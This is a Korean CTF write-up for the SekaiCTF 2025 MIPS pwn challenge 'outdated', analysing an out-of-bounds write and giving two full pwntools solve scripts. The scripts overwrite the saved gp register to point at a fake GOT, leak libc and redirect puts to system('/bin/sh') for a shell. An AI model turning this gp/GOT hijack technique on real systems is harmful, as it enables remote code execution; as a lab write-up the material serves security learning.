
checksec
ubuntu@c304d9296d3e:~/study/sekai2025/pwn_outdated$ checksec ./outdated [*] '/home/ubuntu/study/sekai2025/pwn_outdated/outdated' Arch: mips-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
Decompiled-src / Analysis
- IDA pseudo code
코드로 알아보기 힘들기 때문에 ghidra를 활용하거나 어셈블리어 코드로 보는게 낫다.
int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { _DWORD v3[8]; // [sp+0h] [+0h] BYREF unsigned __int16 v4; // [sp+22h] [+22h] int v5; // [sp+24h] [+24h] int v6; // [sp+28h] [+28h] int v7; // [sp+2Ch] [+2Ch] int v8; // [sp+30h] [+30h] int v9; // [sp+34h] [+34h] int v10; // [sp+38h] [+38h] v3[7] = argc; v3[6] = argv; v6 = 6553600; v7 = 19661000; v8 = 32768400; v9 = 45875800; v10 = 87622432; __asm { sdc2 $25, 0($zero) } __asm { sdc2 $25, 0($zero) } __asm { sdc2 $25, 0($zero) } __asm { sdc2 $25, 0($zero) } __asm { sdc2 $25, 0($zero) } __asm { sdc2 $25, 0($zero) } game_name[(_DWORD)&strcspn] = 0; __asm { sdc2 $25, 0($zero) } __asm { sdc2 $25, 0($zero) } __asm { sdc2 $25, 0($zero) } __asm { sdc2 $25, 0($zero) } __asm { sdc2 $25, 0($zero) } __asm { sdc2 $25, 0($zero) } __asm { sdc2 $25, 0($zero) } *((_WORD *)&v3[10] + v5) = v4; __asm { sdc2 $25, 0($zero) # why exit here??????????? } __asm { sdc2 $25, 0($zero) } __asm { sdc2 $25, 0($zero) } printf(0, v5, v4, game_name); }
- Ghidra code
그나마 알아보기 쉽다. 하지만 매개변수는 제대로 출력해주진 않는다.
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */ void main(void) { size_t sVar1; ushort local_26; int local_24; undefined4 local_20; undefined4 local_1c; undefined4 local_18; undefined4 local_14; undefined4 local_10; undefined4 local_c; local_c = ___stack_chk_guard; local_20 = uRam000011ac; local_1c = uRam000011b0; local_18 = uRam000011b4; local_14 = uRam000011b8; local_10 = uRam000011bc; puts_blue(0xcf0); puts((char *)0xffc); printf((char *)0x101c,main); puts((char *)0x104c); fgets(game_name,0x60,_stdin); sVar1 = strcspn(game_name,(char *)0x1074); game_name[sVar1] = 0; puts((char *)0x1078); puts(game_name); puts((char *)0x1094); puts((char *)0x10e8); scanf((char *)0x110c,&local_24); puts((char *)0x1114); scanf((char *)0x1144,&local_26); *(ushort *)((int)&local_20 + local_24 * 2) = local_26; printf((char *)0x114c,local_24,(uint)local_26,game_name); puts((char *)0x118c); /* WARNING: Subroutine does not return */ exit(0); }
- Gemini(2.5 Pro) Code (IDA Assembly code → Gemini)
- 위 어셈블리 명렁어들을 c언어 코드로 변환해줘
분석하기 좋다. 취약점까지 알려주는 상황이다.
보다시피 main 함수 주소를 출력해주고, game_name 전역배열에 95바이트만큼 입력받을 수 있다.
level_rewards 지역배열에서 OOB write 취약점이 발생하며, level_index를 통해 쓰여질 대상 주소, new_reward로 쓸 값 2바이트를 정할 수 있다.
#include <stdio.h> #include <stdlib.h> #include <string.h> // 전역 변수 (어셈블리 코드의 dword_11AC 등에서 참조) // 실제 값은 알 수 없으므로 임의의 값으로 초기화합니다. int dword_11AC = 100; int dword_11B0 = 200; int dword_11B4 = 300; int dword_11B8 = 400; int dword_11BC = 500; // game_name 버퍼 (fgets에서 사용) char game_name[96]; // 사용자 정의 함수 프로토타입 (어셈블리에서 puts_blue로 호출됨) void puts_blue(const char *s); int main(int argc, char *argv[]) { // 스택 변수들 // 어셈블리 코드의 var_18 ~ var_8 (20바이트)에 해당하며 // short 타입으로 접근되므로 short 배열로 선언합니다. short level_rewards[10]; // var_1C, var_1E에 해당 int level_index; unsigned short new_reward; long stack_canary; // var_4, 스택 버퍼 오버플로우 방어 메커니즘 // 스택 카나리 설정 stack_canary = __stack_chk_guard; // 전역 변수 값을 스택의 level_rewards 배열로 복사 // dword_11AC ~ dword_11BC (5개의 int) 값을 복사합니다. memcpy(level_rewards, &dword_11AC, 20); // 프로그램 시작 메시지 출력 puts_blue(" _______ __ __ _______ ______ __..."); puts("Welcome to the Outdated Game!"); printf("Here's a little bit of helpful information: %p\\n", main); // 게임 이름 입력받기 puts("What would you like to name your game?"); fgets(game_name, 96, stdin); // fgets로 입력받은 문자열의 마지막 개행문자(\\n) 제거 game_name[strcspn(game_name, "\\n")] = 0; // 입력받은 이름 확인 출력 puts("Great! Your game is named:"); puts(game_name); puts("Now, I am feeling generous today, so I'll let you change a reward."); // 변경할 레벨 번호 입력받기 puts("Which level do you want to change?"); scanf("%d%*c", &level_index); // 설정할 보상 값 입력받기 puts("What reward do you want to set for this level?"); scanf("%hu%*c", &new_reward); // --- !!! 취약점 발생 지점 !!! --- // 사용자가 입력한 level_index 값에 대한 검증 없이 배열에 접근하여 값을 씁니다. // 만약 사용자가 음수나 매우 큰 값을 입력하면 스택의 다른 중요 데이터 // (예: 스택 카나리, 반환 주소 등)를 덮어쓸 수 있습니다. level_rewards[level_index] = new_reward; // 결과 출력 printf("You have set the reward for level %d to %hu for game %s\\n", level_index, new_reward, game_name); // 프로그램 종료 puts("Thanks for playing! Come again!"); exit(0); } // 어셈블리 코드에서 'puts_blue'라는 함수를 호출하므로, // 이를 C 함수로 구현해줍니다. 실제 기능은 알 수 없으나 이름으로 보아 // 파란색 글씨로 출력하는 함수로 추정됩니다. void puts_blue(const char *s) { // 예시: ANSI 이스케이프 코드를 사용하여 파란색으로 출력 printf("\\033[0;34m"); puts(s); printf("\\033[0m"); }
Solution
MIPS 특성상 gp라는 레지스터가 존재하는데, 해당 레지스터값을 스택에서 가져온다.
printf 이후 실행되는 해당 어셈블리어에서 gp값을 다시 스택에서 가져온다.
00010bec 10 00 dc 8f lw gp,local_38(s8)
여기서 oob write 취약점으로 스택에 저장된 gp 하위 2바이트값을 수정해준다. 위조시킬 got 테이블 데이터를 game_name에 쓴 다음 가리키게 하면, GOT 테이블을 위조시킬 수 있다.
흥미로운 점은 GOT 테이블에는 함수 주소 뿐만 아니라 출력시킬 “Thanks for playing! Come again!” 문자열 주소도 저장하고 있다는 점이다.
- ghidra 어셈블리 코드 + c언어 코드 부연설명
00010bc0 e8 ff 43 a4 sh v1,-0x18(v0) 00010bc4 24 00 c2 8f lw v0,local_24(s8) 00010bc8 22 00 c3 97 lhu v1,local_26(s8) 00010bcc 38 80 87 8f lw a3=>game_name,-0x7fc8(gp)=>->game_name = ?? = 000300c0 00010bd0 25 30 60 00 or a2,v1,zero 00010bd4 25 28 40 00 or a1,v0,zero *** printf("You have set the reward for level %d to %hu for game %s\\n", level_index, new_reward, game_name); *** 00010bd8 30 80 82 8f lw v0,-0x7fd0(gp)=>PTR_00030030 = 00000000 00010bdc 4c 11 44 24 addiu a0,v0,0x114c 00010be0 8c 80 82 8f lw v0,-0x7f74(gp)=>-><EXTERNAL>::printf = 00010c20 00010be4 25 c8 40 00 or t9,v0,zero 00010be8 00 00 19 f8 jialc t9=><EXTERNAL>::printf,0x0 int printf(char * __format, ...) *** puts("Thanks for playing! Come again!"); *** **00010bec 10 00 dc 8f lw gp,local_38(s8)** 00010bf0 30 80 82 8f lw v0,-0x7fd0(gp)=>PTR_00030030 = 00000000 00010bf4 8c 11 44 24 addiu a0,v0,0x118c **00010bf8 7c 80 82 8f lw v0,-0x7f84(gp)=>-><EXTERNAL>::puts = 00010c40** 00010bfc 25 c8 40 00 or t9,v0,zero 00010c00 00 00 19 f8 jialc t9=><EXTERNAL>::puts,0x0 int puts(char * __s) *** C CODE: exit(0); *** 00010c04 10 00 dc 8f lw gp,local_38(s8) 00010c08 25 20 00 00 or a0,zero,zero **00010c0c 54 80 82 8f lw v0,-0x7fac(gp)=>-><EXTERNAL>::exit = 00010c80** 00010c10 25 c8 40 00 or t9,v0,zero **00010c14 00 00 19 f8 jialc t9=><EXTERNAL>::exit,0x0** void exit(int __status) -- Flow Override: CALL_RETURN (COMPUTED_CALL_TERMINATOR)
필자는 puts 대신에 puts_blue로, “Thanks for playing!… “ 주소 대신에 puts@got 주소를 넣어서 libc 주소를 구할 수 있었고 exit 대신에 main 함수를 넣어서 한번더 main 함수를 호출시킨다.
한번더 got 테이블을 변조시시킨다.
이번에는 puts 대신에 system, “Thanks for playing!… “ 주소 대신에 /bin/sh를 가리키게 하면 된다.
solve.py
#!/usr/bin/env python3 from pwn import * context.log_level = 'debug' context(arch='mips', os='linux', bits=32, endian='little') warnings.filterwarnings('ignore') import sys p = remote("127.0.0.1", 1337) # p = process("./run2_dbg.sh") # p = process("./run2.sh") # p = remote("host3.dreamhack.games", 10296) e = ELF('./outdated',checksec=False) # l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) l = ELF('./target/lib/libc.so', checksec=False) s = lambda str: p.send(str) sl = lambda str: p.sendline(str) sa = lambda delims, str: p.sendafter(delims, str) sla = lambda delims, str: p.sendlineafter(delims, str) r = lambda numb=4096: p.recv(numb) rl = lambda: p.recvline() ru = lambda delims: p.recvuntil(delims) uu32 = lambda data: u32(data.ljust(4, b"\\x00")) uu64 = lambda data: u64(data.ljust(8, b"\\x00")) li = lambda str, data: log.success(str + "========>" + hex(data)) ip = lambda: input() pi = lambda: p.interactive() ru(b"Here's a little bit of helpful information:") leak = rl().strip() leak = int(leak, 16) info(f"leak: {hex(leak)}") e.address = leak - e.sym.main pie_base = e.address info(f"pie_base: {hex(e.address)}") # pay = p32(e.sym.main + 0x1f0) # pay += b"ABCDEFGHIJKL" # pay += p32(e.sym.exit) + b"QRSTUVWXYZabcdefghijk;lmnopqrstuvwxyz0123456789" # pay = pay + b"\\x41"*(0x5f-len(pay)) # guessed_libc_base = pie_base - 0x8f4000 # = 0x3f70c000 # info(f"guessed_libc_base: {hex(guessed_libc_base)}") # l.address = guessed_libc_base # pay = b"A"*0x5f #fake gp!!!! fake got!!!! pay = p32(e.got.puts - 0x118c) #.got:40020030 .word _stdout # string by puts pay += p32(e.sym.puts_blue) #puts_blue pay += p32(0) #game_name pay += p32(0) #_stdout... dummy? pay += p32(0) #_stdout... dummy? pay += p32(0) #_stdout... dummy? pay += p32(0) #__register_frame_info_ptr... dummy? pay += p32(0) #__libc_start_main_ptr pay += p32(0) #setbuf pay += p32(e.sym.main) #exit_ptr pay += p32(0) #stderr_ptr pay += p32(0) #scanf_ptr pay += p32(0) #strcspn_ptr pay += p32(0) #_ITM_deregisterTMCloneTable_ptr pay += p32(0) #stdin_ptr pay += p32(0) #_ITM_registerTMCloneTable_ptr pay += p32(0) #__deregister_frame_info_ptr pay += p32(0) #__stack_chk_fail_ptr pay += p32(0) #__cxa_finalize_ptr pay += p32(e.sym.puts_blue) #puts_ptr x: 0xab4~0xab0-4*5 pay += p32(0) #fgets_ptr pay += p32(0) #__stack_chk_guard_ptr pay += p32(0) #stdout_ptr # pay += p32(l.sym.system) #printf_ptr sla(b"What would you like to name your game?\\n", pay) pay = str(-12) #스택 프레임에 있는 gp 하위4바이트 수정 # pay = str(int((e.got.puts/2)-0x40)) # pay = str(0x41414141) #32비트 정수 sla("Which level do you want to change?\\n", pay) pay = str(0x8000+0x4*(17+19)) #16비트 정수 sla("What reward do you want to set for this level?\\n", pay) ''' .got:00020010 # =========================================================================== .got:00020010 .got:00020010 # Segment type: Pure data .got:00020010 .data # .got .got:00020010 off_20010: .word _stdout # DATA XREF: sub_6F0↑o .got:00020010 # sub_740↑o ... .got:00020014 .word 0x80000000 .got:00020018 _term_proc_ptr: .word _term_proc .got:0002001C _init_proc_ptr: .word _init_proc .got:00020020 main_ptr: .word main .got:00020024 .word unk_20004 .got:00020028 __RLD_MAP_ptr: .word __RLD_MAP .got:0002002C .word off_20090 .got:00020030 .word _stdout <- string by puts .got:00020034 puts_blue_ptr: .word puts_blue <- fake gp start !!!!!!!!!!!!!! fake_gp = 0x200c0 .got:00020038 game_name_ptr: .word game_name .got:0002003C .word _stdout .got:00020040 .word _stdout .got:00020044 .word _stdout .got:00020048 __register_frame_info_ptr:.word __register_frame_info .got:0002004C __libc_start_main_ptr:.word __libc_start_main .got:00020050 setbuf_ptr: .word setbuf .got:00020054 exit_ptr: .word exit !!!!!!!!!!!!! exit 대신에 main 들어가게 만드는건 쉬움, 자체적으로 write하면 되니까 ... +0x10하면 _ITM_deregisterTMCloneTable? 실제로 쉽지 않음;; -0x34 또는 game_name까지 다다르기 위해 최소 +0x6c 이상 .got:00020058 stderr_ptr: .word stderr .got:0002005C scanf_ptr: .word scanf .got:00020060 strcspn_ptr: .word strcspn .got:00020064 _ITM_deregisterTMCloneTable_ptr:.word _ITM_deregisterTMCloneTable .got:00020068 stdin_ptr: .word stdin .got:0002006C _ITM_registerTMCloneTable_ptr:.word _ITM_registerTMCloneTable .got:00020070 __deregister_frame_info_ptr:.word __deregister_frame_info .got:00020074 __stack_chk_fail_ptr:.word __stack_chk_fail .got:00020078 __cxa_finalize_ptr:.word __cxa_finalize .got:0002007C puts_ptr: .word puts !!!!!!!! puts 대신에 main에 들어가려면... -0x5c해서 got의 main 가리키거나, 또는 +0x44해서 game_name까지 다다르기 puts 대신에 printf 들어가려면,,,+0x10 더해야함;; 2007c-0x34 = 20048; __register_frame_info puts 대신에 puts_blue 들어가려면, .got:00020080 fgets_ptr: .word fgets .got:00020084 __stack_chk_guard_ptr:.word __stack_chk_guard .got:00020088 stdout_ptr: .word stdout .got:0002008C printf_ptr: .word printf .got:0002008C .sdata:00020090 # =========================================================================== .sdata:00020090 .sdata:00020090 # Segment type: Pure data .sdata:00020090 .sdata .sdata:00020090 off_20090: .word off_20090 # DATA XREF: sub_7B4+30↑o .sdata:00020090 # sub_7B4+3C↑r ... .sdata:00020090 LOAD:00020094 # =========================================================================== LOAD:00020094 LOAD:00020094 # Segment type: Pure data LOAD:00020094 .data # LOAD LOAD:00020094 .align 4 LOAD:00020094 .bss:000200A0 # =========================================================================== .bss:000200A0 .bss:000200A0 # Segment type: Uninitialized .bss:000200A0 .bss .bss:000200A0 dword_200A0: .space 4 # DATA XREF: sub_7B4+20↑r .bss:000200A0 # sub_7B4+70↑w .bss:000200A4 dword_200A4: .space 4 # DATA XREF: sub_838+2C↑o .bss:000200A8 .space 4 .bss:000200AC .space 4 .bss:000200B0 .space 4 .bss:000200B4 .space 4 .bss:000200B8 .space 4 .bss:000200BC .space 4 .bss:000200C0 .globl game_name .bss:000200C0 # _BYTE game_name[96] .bss:000200C0 game_name: .space 0x60 # DATA XREF: LOAD:000003D8↑o ''' # ru("your game") # rl() leak = ru(".\\n") leak = rl() # leak = r(4) leak = leak[5:5+4] leak = uu32(leak) # info(f"leak: {(leak.hex())}") info(f"leak: {(hex(leak))}") l.address = leak - l.sym.puts #main again #fake gp!!!! fake got!!!! pay = p32(l.address + 0xAAF20 - 0x118c) #.got:40020030 .word _stdout # string by puts pay += p32(l.sym.system) #puts_blue pay += p32(0) #game_name pay += p32(0) #_stdout... dummy? pay += p32(0) #_stdout... dummy? pay += p32(0) #_stdout... dummy? pay += p32(0) #__register_frame_info_ptr... dummy? pay += p32(0) #__libc_start_main_ptr pay += p32(0) #setbuf pay += p32(e.sym.main) #exit_ptr pay += p32(0) #stderr_ptr pay += p32(0) #scanf_ptr pay += p32(0) #strcspn_ptr pay += p32(0) #_ITM_deregisterTMCloneTable_ptr pay += p32(0) #stdin_ptr pay += p32(0) #_ITM_registerTMCloneTable_ptr pay += p32(0) #__deregister_frame_info_ptr pay += p32(0) #__stack_chk_fail_ptr pay += p32(0) #__cxa_finalize_ptr pay += p32(l.sym.system) #puts_ptr x: 0xab4~0xab0-4*5 pay += p32(0) #fgets_ptr pay += p32(0) #__stack_chk_guard_ptr pay += p32(0) #stdout_ptr # pay += p32(l.sym.system) #printf_ptr sla(b"What would you like to name your game?\\n", pay) pay = str(-12) #스택 프레임에 있는 gp 하위4바이트 수정 # pay = str(int((e.got.puts/2)-0x40)) # pay = str(0x41414141) #32비트 정수 sla("Which level do you want to change?\\n", pay) pay = str(0x8000+0x4*(17+19)) #16비트 정수 sla("What reward do you want to set for this level?\\n", pay) pi()
solve.py (server)
#!/usr/bin/env python3 from pwn import * context.log_level = 'debug' context(arch='mips', os='linux', bits=32, endian='little') warnings.filterwarnings('ignore') import sys # p = remote("127.0.0.1", 1337) # p = process("./run2_dbg.sh") # p = process("./run2.sh") p = remote("outdated-boecxic4xpz8.chals.sekai.team", 1337, ssl=True) e = ELF('./outdated',checksec=False) # l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) l = ELF('./target/lib/libc.so', checksec=False) s = lambda str: p.send(str) sl = lambda str: p.sendline(str) sa = lambda delims, str: p.sendafter(delims, str) sla = lambda delims, str: p.sendlineafter(delims, str) r = lambda numb=4096: p.recv(numb) rl = lambda: p.recvline() ru = lambda delims: p.recvuntil(delims) uu32 = lambda data: u32(data.ljust(4, b"\\x00")) uu64 = lambda data: u64(data.ljust(8, b"\\x00")) li = lambda str, data: log.success(str + "========>" + hex(data)) ip = lambda: input() pi = lambda: p.interactive() ru("proof of work: ") cmd = rl() info(f"cmd: {cmd}") proc = subprocess.run( ["bash", "-c", cmd], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, # 결과를 str 로 받기 위함 check=True # 에러 시 예외 발생 ) answer = proc.stdout.strip() info(f"answer: {answer}") sl(answer) ru(b"Here's a little bit of helpful information:") leak = rl().strip() leak = int(leak, 16) info(f"leak: {hex(leak)}") e.address = leak - e.sym.main pie_base = e.address info(f"pie_base: {hex(e.address)}") # pay = p32(e.sym.main + 0x1f0) # pay += b"ABCDEFGHIJKL" # pay += p32(e.sym.exit) + b"QRSTUVWXYZabcdefghijk;lmnopqrstuvwxyz0123456789" # pay = pay + b"\\x41"*(0x5f-len(pay)) # guessed_libc_base = pie_base - 0x8f4000 # = 0x3f70c000 # info(f"guessed_libc_base: {hex(guessed_libc_base)}") # l.address = guessed_libc_base # pay = b"A"*0x5f #fake gp!!!! fake got!!!! pay = p32(e.got.puts - 0x118c) #.got:40020030 .word _stdout # string by puts pay += p32(e.sym.puts_blue) #puts_blue pay += p32(0) #game_name pay += p32(0) #_stdout... dummy? pay += p32(0) #_stdout... dummy? pay += p32(0) #_stdout... dummy? pay += p32(0) #__register_frame_info_ptr... dummy? pay += p32(0) #__libc_start_main_ptr pay += p32(0) #setbuf pay += p32(e.sym.main) #exit_ptr pay += p32(0) #stderr_ptr pay += p32(0) #scanf_ptr pay += p32(0) #strcspn_ptr pay += p32(0) #_ITM_deregisterTMCloneTable_ptr pay += p32(0) #stdin_ptr pay += p32(0) #_ITM_registerTMCloneTable_ptr pay += p32(0) #__deregister_frame_info_ptr pay += p32(0) #__stack_chk_fail_ptr pay += p32(0) #__cxa_finalize_ptr pay += p32(e.sym.puts_blue) #puts_ptr x: 0xab4~0xab0-4*5 pay += p32(0) #fgets_ptr pay += p32(0) #__stack_chk_guard_ptr pay += p32(0) #stdout_ptr # pay += p32(l.sym.system) #printf_ptr sla(b"What would you like to name your game?\\n", pay) pay = str(-12) #스택 프레임에 있는 gp 하위4바이트 수정 # pay = str(int((e.got.puts/2)-0x40)) # pay = str(0x41414141) #32비트 정수 sla("Which level do you want to change?\\n", pay) pay = str(0x8000+0x4*(17+19)) #16비트 정수 sla("What reward do you want to set for this level?\\n", pay) ''' .got:00020010 # =========================================================================== .got:00020010 .got:00020010 # Segment type: Pure data .got:00020010 .data # .got .got:00020010 off_20010: .word _stdout # DATA XREF: sub_6F0↑o .got:00020010 # sub_740↑o ... .got:00020014 .word 0x80000000 .got:00020018 _term_proc_ptr: .word _term_proc .got:0002001C _init_proc_ptr: .word _init_proc .got:00020020 main_ptr: .word main .got:00020024 .word unk_20004 .got:00020028 __RLD_MAP_ptr: .word __RLD_MAP .got:0002002C .word off_20090 .got:00020030 .word _stdout <- string by puts .got:00020034 puts_blue_ptr: .word puts_blue <- fake gp start !!!!!!!!!!!!!! fake_gp = 0x200c0 .got:00020038 game_name_ptr: .word game_name .got:0002003C .word _stdout .got:00020040 .word _stdout .got:00020044 .word _stdout .got:00020048 __register_frame_info_ptr:.word __register_frame_info .got:0002004C __libc_start_main_ptr:.word __libc_start_main .got:00020050 setbuf_ptr: .word setbuf .got:00020054 exit_ptr: .word exit !!!!!!!!!!!!! exit 대신에 main 들어가게 만드는건 쉬움, 자체적으로 write하면 되니까 ... +0x10하면 _ITM_deregisterTMCloneTable? 실제로 쉽지 않음;; -0x34 또는 game_name까지 다다르기 위해 최소 +0x6c 이상 .got:00020058 stderr_ptr: .word stderr .got:0002005C scanf_ptr: .word scanf .got:00020060 strcspn_ptr: .word strcspn .got:00020064 _ITM_deregisterTMCloneTable_ptr:.word _ITM_deregisterTMCloneTable .got:00020068 stdin_ptr: .word stdin .got:0002006C _ITM_registerTMCloneTable_ptr:.word _ITM_registerTMCloneTable .got:00020070 __deregister_frame_info_ptr:.word __deregister_frame_info .got:00020074 __stack_chk_fail_ptr:.word __stack_chk_fail .got:00020078 __cxa_finalize_ptr:.word __cxa_finalize .got:0002007C puts_ptr: .word puts !!!!!!!! puts 대신에 main에 들어가려면... -0x5c해서 got의 main 가리키거나, 또는 +0x44해서 game_name까지 다다르기 puts 대신에 printf 들어가려면,,,+0x10 더해야함;; 2007c-0x34 = 20048; __register_frame_info puts 대신에 puts_blue 들어가려면, .got:00020080 fgets_ptr: .word fgets .got:00020084 __stack_chk_guard_ptr:.word __stack_chk_guard .got:00020088 stdout_ptr: .word stdout .got:0002008C printf_ptr: .word printf .got:0002008C .sdata:00020090 # =========================================================================== .sdata:00020090 .sdata:00020090 # Segment type: Pure data .sdata:00020090 .sdata .sdata:00020090 off_20090: .word off_20090 # DATA XREF: sub_7B4+30↑o .sdata:00020090 # sub_7B4+3C↑r ... .sdata:00020090 LOAD:00020094 # =========================================================================== LOAD:00020094 LOAD:00020094 # Segment type: Pure data LOAD:00020094 .data # LOAD LOAD:00020094 .align 4 LOAD:00020094 .bss:000200A0 # =========================================================================== .bss:000200A0 .bss:000200A0 # Segment type: Uninitialized .bss:000200A0 .bss .bss:000200A0 dword_200A0: .space 4 # DATA XREF: sub_7B4+20↑r .bss:000200A0 # sub_7B4+70↑w .bss:000200A4 dword_200A4: .space 4 # DATA XREF: sub_838+2C↑o .bss:000200A8 .space 4 .bss:000200AC .space 4 .bss:000200B0 .space 4 .bss:000200B4 .space 4 .bss:000200B8 .space 4 .bss:000200BC .space 4 .bss:000200C0 .globl game_name .bss:000200C0 # _BYTE game_name[96] .bss:000200C0 game_name: .space 0x60 # DATA XREF: LOAD:000003D8↑o ''' # LEAK TEST!!!!!!! # # ru("your game") # # rl() # leak = ru(".\\n") # leak = rl() # # leak = r(4) # # leak = leak[3:3+4] # # leak = uu32(leak) # info(f"leak: {(leak.hex())}") # info(f"leak: {(hex(leak))}") # # l.address = leak - l.sym.stderr # # success(f"libc_base: {(hex(l.address))}") # p.close() # ru("your game") # rl() leak = ru(".\\n") leak = rl() # leak = r(4) leak = leak[5:5+4] leak = uu32(leak) # info(f"leak: {(leak.hex())}") info(f"leak: {(hex(leak))}") l.address = leak - l.sym.puts success(f"libc_base: {(hex(l.address))}") #main again #fake gp!!!! fake got!!!! pay = p32(l.address + 0xAAF20 - 0x118c) #.got:40020030 .word _stdout # string by puts pay += p32(l.sym.system) #puts_blue pay += p32(0) #game_name pay += p32(0) #_stdout... dummy? pay += p32(0) #_stdout... dummy? pay += p32(0) #_stdout... dummy? pay += p32(0) #__register_frame_info_ptr... dummy? pay += p32(0) #__libc_start_main_ptr pay += p32(0) #setbuf pay += p32(e.sym.main) #exit_ptr pay += p32(0) #stderr_ptr pay += p32(0) #scanf_ptr pay += p32(0) #strcspn_ptr pay += p32(0) #_ITM_deregisterTMCloneTable_ptr pay += p32(0) #stdin_ptr pay += p32(0) #_ITM_registerTMCloneTable_ptr pay += p32(0) #__deregister_frame_info_ptr pay += p32(0) #__stack_chk_fail_ptr pay += p32(0) #__cxa_finalize_ptr pay += p32(l.sym.system) #puts_ptr x: 0xab4~0xab0-4*5 pay += p32(0) #fgets_ptr pay += p32(0) #__stack_chk_guard_ptr pay += p32(0) #stdout_ptr # pay += p32(l.sym.system) #printf_ptr sla(b"What would you like to name your game?\\n", pay) pay = str(-12) #스택 프레임에 있는 gp 하위4바이트 수정 # pay = str(int((e.got.puts/2)-0x40)) # pay = str(0x41414141) #32비트 정수 sla("Which level do you want to change?\\n", pay) pay = str(0x8000+0x4*(17+19)) #16비트 정수 sla("What reward do you want to set for this level?\\n", pay) pi()
Result
SEKAI{!'VE-dUBB3D_+hI$-73(HN1QUE-"9P-*VERWR17E"}
